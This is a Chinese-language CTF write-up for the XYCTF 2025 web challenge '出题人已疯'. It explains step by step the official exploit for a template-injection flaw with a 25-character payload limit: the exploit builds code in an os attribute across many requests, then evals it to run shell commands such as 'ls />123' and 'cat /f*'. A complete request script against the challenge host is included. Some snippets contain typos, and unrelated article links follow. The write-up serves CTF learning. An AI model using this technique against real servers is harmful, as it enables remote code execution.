[XYCTF 2025 web 出题人已疯]以新手角度快速理解官方exp的解题思路
前言
这是一道非常简洁明了的ssti漏洞题目,就是要求攻击payload长度不得高于25。在LamentXU大佬的官方wp中写道:
“直接往os里塞字符。随后一起拿出来exec。这样子就可以实现SSTI。”
这对于我这种新手来说理解上是非常抽象且困难的。本篇文章我将记录下我以一个新手的角度理解这道题目的过程
原理
由于python的特性,我们可以将变量赋值给os模块中的属性,这个属性可以是自己新定义的,比如像这样
import os
# 设置环境变量
os.environ['MY_VARIABLE'] = 'some_value'
# 获取环境变量
print(os.environ['MY_VARIABLE']) # 输出: some_value
这样我们就成功将os中的环境变量属性修改成了some_value。
import os
os.a="abc"
print(os.a)
根据这个原理我们可以完成这个题目
我们来一点一点写这个脚本
import os
url=""
payload="__import__('os').system('ls />123')"
p=[payload[i,i+2] for i in range(0,len(payload),2)]
先准备好我们要塞进变量的payload,然后我们把这段payload分成两个两个一组的片段列表,每组的长度取决于拼接代码的总长度,因为拼接的代码也要在payload处执行,所以整个payload的长度不得长于25。
flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;a+="{i}"'
这一段是我觉得非常巧妙的一个往os.a变量里面塞入字符串的算法,首先令flag的布尔值等于True,然后for i in p遍历p里面的每一个元素,当flag=True的时候,利用a=“{i}”拼接第一个元素进去,此时tmp变量的值为
\n%import os;os.a="__"
然后将flag的布尔值设置为false,然后利用a+=“{i}”实现往os.a后面拼接剩余字符串的功能。拆分来看就像这样
\n%import os;os.a="__"
\n%import os;os.a="__im"
\n%import os;os.a="__impo"
\n%import os;os.a="__import"
...
\n%import os;os.a="__import__('os').system('ls />12"
\n%import os;os.a="__import__('os').system('ls />123'"
\n%import os;os.a="__import__('os').system('ls />123')"
我们可以本地修改代码运行一下看看运行结果是否和预期相同
import os
payload="__import__('os').system('cat /f*>222222')"
p=[payload[i:i+4] for i in range(0,len(payload),4)]
flag=True
for i in p:
if flag:
os.a=i
flag=False
else:
os.a+=i
print(os.a)

这个代码是将字符串拆分四个为一组,四个四个向里面添加字符串,可以看到效果和我们预期的一样。如果我们修改的是服务器端os的属性值,我们就可以eval(os.a)直接执行塞入的字符串了。
回到这道题目,我们将tmp的内容发送至服务器端运行
flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;a+="{i}"'
r=requests.get(url,params={"payload":tmp})
这样就成功拼接上了os.a变量。
这里可能会有一个疑问(反正我研究的时候疑惑了)
为什么这里的代码不能这么写
flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;a+="{i}"'
r=requests.get(url,params={"payload":tmp})
我们看这样运行会发生什么

可以看到报500错,也就是说执行的命令格式是不正确的
为什么会这样,我们可以print一下tmp看看tmp在这两个位置的差异

可以看到print在for循环里面的时候会将payload以每三个字符为一组循环塞入os.a,也就是说在这个位置执行r = requests.get(url,params={"payload":tmp})的作用就是运行这好几条代码将os.a的值改变成我们想要的字符串。
我们再换个位置

可以看到print放在循环外面只会输出payload被分割后的最后一个部分,如果在这里执行r = requests.get(url,params={"payload":tmp})的话被塞入os.a的只会是 '),自然就无法成功eval执行。
明白了这个地方后我们继续往下做
r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r=requests.get(url,params={"payload":"\n%import os;include('123')"}).text
print(r)
这样我们就成功拿到了ls /命令的回显。
要用写文件不直接执行的原因是没有回显,所以要写入文件再包含
完整exp
import requests
url='http://gz.imxbt.cn:20935/attack'
payload="__import__('os').system('ls />123')"
p=[payload[i:i+4] for i in range(0,len(payload),4)]
flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;os.a+="{i}"'
r=requests.get(url,params={"payload":tmp})
r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r=requests.get(url,params={"payload":"\n%include('123')"}).text
print(r)
[XYCTF 2025 web 出题人已疯]以新手角度快速理解官方exp的解题思路的更多相关文章
- 出题人的女装(牛客练习赛38题B) (概率+分式运算)
链接:https://ac.nowcoder.com/acm/contest/358/B来源:牛客网 出题人的女装 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 524288K,其他 ...
- B.出题人的女装
链接:https://ac.nowcoder.com/acm/contest/358/B 题意: 出题人早上起床就打算穿衣服,他有两箱衣服,因为懒,他在这两天只打算打开一个箱子. 两个箱子中一个有n件 ...
- SignalR 实现Web多人聊天室
ASP .NET SignalR 是一个ASP .NET 下的类库,可以在ASP .NET 的Web项目中实现实时通信.什么是实时通信的Web呢?就是让客户端(Web页面)和服务器端可以互相通知消 ...
- 网上搜集了点资料,学web的人互相分享共同进步吧(php编码的好习惯必须养成)
网上搜集了点资料,学web的人互相分享共同进步吧 一.优秀的代码应该是什么样的? 优秀的PHP代码应该是结构化的.大段的代码应该被分割整理成一个个函数或方法,而那些不起眼的小段代码则应该加上注释,以便 ...
- 牛客练习赛38 D 出题人的手环
链接 [https://ac.nowcoder.com/acm/contest/358/D] 题意 链接:https://ac.nowcoder.com/acm/contest/358/D 来源:牛客 ...
- 牛客练习赛38 D 题 出题人的手环 (离散化+树状数组求逆序对+前缀和)
链接:https://ac.nowcoder.com/acm/contest/358/D来源:牛客网 出题人的手环 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 524288K,其他 ...
- 出题人的RP值(牛客练习赛38--A题)(排序)
链接:https://ac.nowcoder.com/acm/contest/358/A来源:牛客网 题目描述 众所周知,每个人都有自己的rp值(是个非负实数),膜别人可以从别人身上吸取rp值. 然而 ...
- 出题人的手环(牛客练习赛38D 离散化+树状数组)
题目链接(https://ac.nowcoder.com/acm/contest/358/D) 题目描述 出题人的妹子送了出题人一个手环,这个手环上有 n 个珠子,每个珠子上有一个数. 有一天,出题人 ...
- 洛谷 P3299 [SDOI2013]保护出题人 解题报告
P3299 [SDOI2013]保护出题人 题目描述 出题人铭铭认为给SDOI2012出题太可怕了,因为总要被骂,于是他又给SDOI2013出题了. 参加SDOI2012的小朋友们释放出大量的僵尸,企 ...
- 【BZOJ3203】[Sdoi2013]保护出题人 二分+凸包
[BZOJ3203][Sdoi2013]保护出题人 Description Input 第一行两个空格隔开的正整数n和d,分别表示关数和相邻僵尸间的距离.接下来n行每行两个空格隔开的正整数,第i + ...
随机推荐
- MySQL REPLACE函数:字符串替换
语法 REPLACE ( string_expression , string_pattern , string_replacement ) 替换字符串,接受3个参数,分别是原字符串,被替代字符串,替 ...
- Django实战项目-学习任务系统-任务管理
接着上期代码框架,开发第3个功能,任务管理,再增加一个学习任务表,用来记录发布的学习任务的标题和内容,预计完成天数,奖励积分和任务状态等信息. 第一步:编写第三个功能-任务管理 1,编辑模型文件: . ...
- CAS架构与原理简介
1. 会话与Cookie HTTP是无状态协议,客户端与服务端之间的每次通信都是独立的,而会话机制可以让服务端鉴别每次通讯过程中的客户端是否是同一个,从而保证业务的关联性. Session是服务器使用 ...
- games101 作业4提高部分
games101 作业4提高部分 作业四中,我们按照实验步骤完成bazier曲线之后,得到的结果有一定的锯齿感: 然后pdf中给出的思路是: 对于一个曲线上的点,不只把它对应于一个像素,你需要根据到像 ...
- 【SpringMVC】处理 JSON:使用 HttpMessageConverter
处理 JSON:使用 HttpMessageConverter 处理 JSON 加入 jar 包: 编写目标方法,使其返回 JSON 对应的对象或集合 在方法上添加 @ResponseBody 注解 ...
- zk基础—1.一致性原理和算法
大纲 1.分布式系统特点 2.分布式系统的理论 3.两阶段提交Two-Phase Commit(2PC) 4.三阶段提交Three-Phase Commit(3PC) 5.Paxos岛的故事来对应Zo ...
- .NET 原生驾驭 AI 新基建实战系列(二):Semantic Kernel 整合对向量数据库的统一支持
1. 引言 在人工智能(AI)应用开发迅猛发展的今天,向量数据库作为存储和检索高维数据的重要工具,已经成为许多场景(如自然语言处理.推荐系统和语义搜索)的核心组件. 对于.NET生态系统的开发者而言, ...
- IP地址字符串转数组
查看代码 static uint8_t ip_buf[4]; static uint8_t test_str[] = "192.168.1.123"; static uint8_t ...
- 返回值分类 (void、string、 modelAndView)
/** * 返回值分类 : 字符串:方法返回字符串可以指定逻辑视图名,通过视图解析器解析为物理视图地址 void: 我们可以使用Servlet 原始 API 可以作为控制器中方法的参数: ModelA ...
- 使用注解的方式编写:@Aspect运用
列子. public interface Calculator { // 加 public int add(int i,int j); // 减 public int sub(int i,int j) ...